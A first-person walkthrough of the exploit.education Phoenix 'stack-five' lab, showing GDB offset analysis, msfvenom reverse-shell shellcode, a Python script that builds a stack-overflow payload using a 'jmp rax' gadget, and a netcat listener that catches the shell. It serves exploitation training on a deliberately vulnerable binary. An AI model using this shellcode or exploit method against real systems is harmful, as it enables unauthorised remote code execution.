Stack Five
The description and source code can be found here:
https://exploit.education/phoenix/stack-five/
Now things are getting a bit tricky. This time we’ll need to utilize the ability to control the Instruction Pointer register (in this case, RIP) to jump to some shell code we inject onto the stack. The source code is pretty simple. The main() function calls the start_level() function, which gets input from the user and saves it to the “buffer” variable:
void start_level() { char buffer[128]; gets(buffer); } int main(int argc, char **argv) { printf("%s\n", BANNER); start_level(); }
First, I need to see how far away from the start of the “buffer” variable the return address is in that frame:
$ gdb -q stack-five GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from stack-five...(no debugging symbols found)...done. gef> disas start_level Dump of assembler code for function start_level: 0x000000000040058d <+0>: push rbp 0x000000000040058e <+1>: mov rbp,rsp 0x0000000000400591 <+4>: add rsp,0xffffffffffffff80 0x0000000000400595 <+8>: lea rax,[rbp-0x80] 0x0000000000400599 <+12>: mov rdi,rax 0x000000000040059c <+15>: call 0x4003f0 <gets@plt> 0x00000000004005a1 <+20>: nop 0x00000000004005a2 <+21>: leave 0x00000000004005a3 <+22>: ret End of assembler dump. gef> b *0x00000000004005a1 Breakpoint 1 at 0x4005a1 gef> run <<< $(python -c 'print "A" + "B"*126 + "C"') Starting program: /opt/phoenix/amd64/stack-five <<< $(python -c 'print "A" + "B"*126 + "C"') Welcome to phoenix/stack-five, brought to you by https://exploit.education Breakpoint 1, 0x00000000004005a1 in start_level () [... GEF output snipped ...] gef> info frame Stack level 0, frame at 0x7fffffffe650: rip = 0x4005a1 in start_level; saved rip = 0x4005c7 called by frame at 0x7fffffff0010 Arglist at 0x7fffffffe640, args: Locals at 0x7fffffffe640, Previous frame's sp is 0x7fffffffe650 Saved registers: rbp at 0x7fffffffe640, rip at 0x7fffffffe648 gef> info registers $rsp rsp 0x7fffffffe5c0 0x7fffffffe5c0 gef> printf "%i\n", 0x7fffffffe648 - 0x7fffffffe5c0 136
So we have 136 bytes before hitting the return address. Now I can generate some shell code and put it on the stack within the “buffer” variable. At first, I tried using some code I found here: http://shell-storm.org/shellcode/. And these would work if I compiled the C code and executed it directly. For example, this one (http://shell-storm.org/shellcode/files/shellcode-603.php):
int main(void) { char shellcode[] = "\x48\x31\xd2" // xor %rdx, %rdx "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx "\x48\xc1\xeb\x08" // shr $0x8, %rbx "\x53" // push %rbx "\x48\x89\xe7" // mov %rsp, %rdi "\x50" // push %rax "\x57" // push %rdi "\x48\x89\xe6" // mov %rsp, %rsi "\xb0\x3b" // mov $0x3b, %al "\x0f\x05"; // syscall (*(void (*)()) shellcode)(); return 0; }
When I compile & run it, it gives me a shell:
user@phoenix-amd64:~$ gcc -fno-stack-protector -z execstack shell.c -o shell user@phoenix-amd64:~$ ./shell $ id uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
However, putting that same shell code on the stack and executing it from within the stack-five program wouldn’t work. So I wanted to test using a reverse shell instead. I fired up a Kali VM and used msfvenom to generate the shell code:
root ~ # msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 --platform linux -a x64 -f python --var-name shellcode No encoder or badchars specified, outputting raw payload Payload size: 74 bytes Final size of python file: 424 bytes shellcode = "" shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" shellcode += "\x48\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01" shellcode += "\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05" shellcode += "\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" shellcode += "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" shellcode += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6" shellcode += "\x0f\x05"
I’m going to use a python script to create a file used for overflowing the buffer. This also makes it easier to make modifications:
#!/usr/bin/env python # Total bytes until return address: 136 total = 136 shellcode = "" shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" shellcode += "\x48\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01" shellcode += "\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05" shellcode += "\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" shellcode += "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" shellcode += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6" shellcode += "\x0f\x05" #The start of shellcode: 0x00007fffffffe5c0 ret = "\xc0\xe5\xff\xff\xff\x7f\x00\x00" payload = "" payload += shellcode payload += "A" * (total - len(payload)) payload += ret with open("payload", "wb") as f: f.write(payload)
To test this, I’ll need two terminals SSH’d into the VM. One to start a netcat listener:
$ nc -nlvp 4444 Listening on [0.0.0.0] (family 0, port 4444)
Then I’ll execute the script & use the resulting file as input for the stack-five program:
$ cat ~/payload | ./stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education Segmentation fault
Well that didn’t work. However, having recently obtained my OSCP certification, their mantra is still fresh in my head, “Try harder.” Instead of putting an address on the stack directly into the RIP register, I’d like to find another instruction that can jump the execution there, like jmp esp. I can use the ROPgadget tool for this:
$ ROPgadget --binary stack-five --only "jmp" Gadgets information ============================================================ 0x0000000000400481 : jmp rax Unique gadgets found: 1
It looks like the only option is a jmp eax instruction. Let’s take a look at where the RAX register is pointing to when execution returns from the start_level() function. I’ll set a breakpoint in the main() function right after the call to start_level(). After running the program and passing a bit of input, we can see that RAX points to the start of the “buffer” variable in start_level(), which was the same as the RSP register during that frame:
$ gdb -q stack-five GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from stack-five...(no debugging symbols found)...done. gef> disas main Dump of assembler code for function main: 0x00000000004005a4 <+0>: push rbp 0x00000000004005a5 <+1>: mov rbp,rsp 0x00000000004005a8 <+4>: sub rsp,0x10 0x00000000004005ac <+8>: mov DWORD PTR [rbp-0x4],edi 0x00000000004005af <+11>: mov QWORD PTR [rbp-0x10],rsi 0x00000000004005b3 <+15>: mov edi,0x400620 0x00000000004005b8 <+20>: call 0x400400 <puts@plt> 0x00000000004005bd <+25>: mov eax,0x0 0x00000000004005c2 <+30>: call 0x40058d <start_level> 0x00000000004005c7 <+35>: mov eax,0x0 0x00000000004005cc <+40>: leave 0x00000000004005cd <+41>: ret End of assembler dump. gef> b *0x00000000004005c7 Breakpoint 1 at 0x4005c7 gef> run Starting program: /opt/phoenix/amd64/stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education AAAA Breakpoint 1, 0x00000000004005c7 in main () [... GEF output snipped ...] gef> i r $rax rax 0x7fffffffe5c0 0x7fffffffe5c0
This means that we can make use of that jmp rax instruction. I’ll modify the generate_payload.py script to overwrite the return address with 0x0000000000400481. I don’t need to include all of the leading zeros since that’s what’s already on the stack:
#!/usr/bin/env python # Total bytes until return address: 136 total = 136 shellcode = "" shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" shellcode += "\x48\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01" shellcode += "\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05" shellcode += "\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" shellcode += "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" shellcode += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6" shellcode += "\x0f\x05" # This return address goes to 'jmp eax' ret = "\x81\x04\x40" payload = "" payload += shellcode payload += "A" * (total - len(payload)) payload += ret with open("payload", "wb") as f: f.write(payload)
Let’s test this again. In one terminal, I’ll create the payload and start the netcat listener:
$ ./generate_payload.py $ nc -nlvp 4444 Listening on [0.0.0.0] (family 0, port 4444)
In another terminal, I’ll execute the program:
$ cat ~/payload | /opt/phoenix/amd64/stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education
Checking the other terminal, I’ve got a shell!
$ nc -nlvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 127.0.0.1 56878 received! id uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)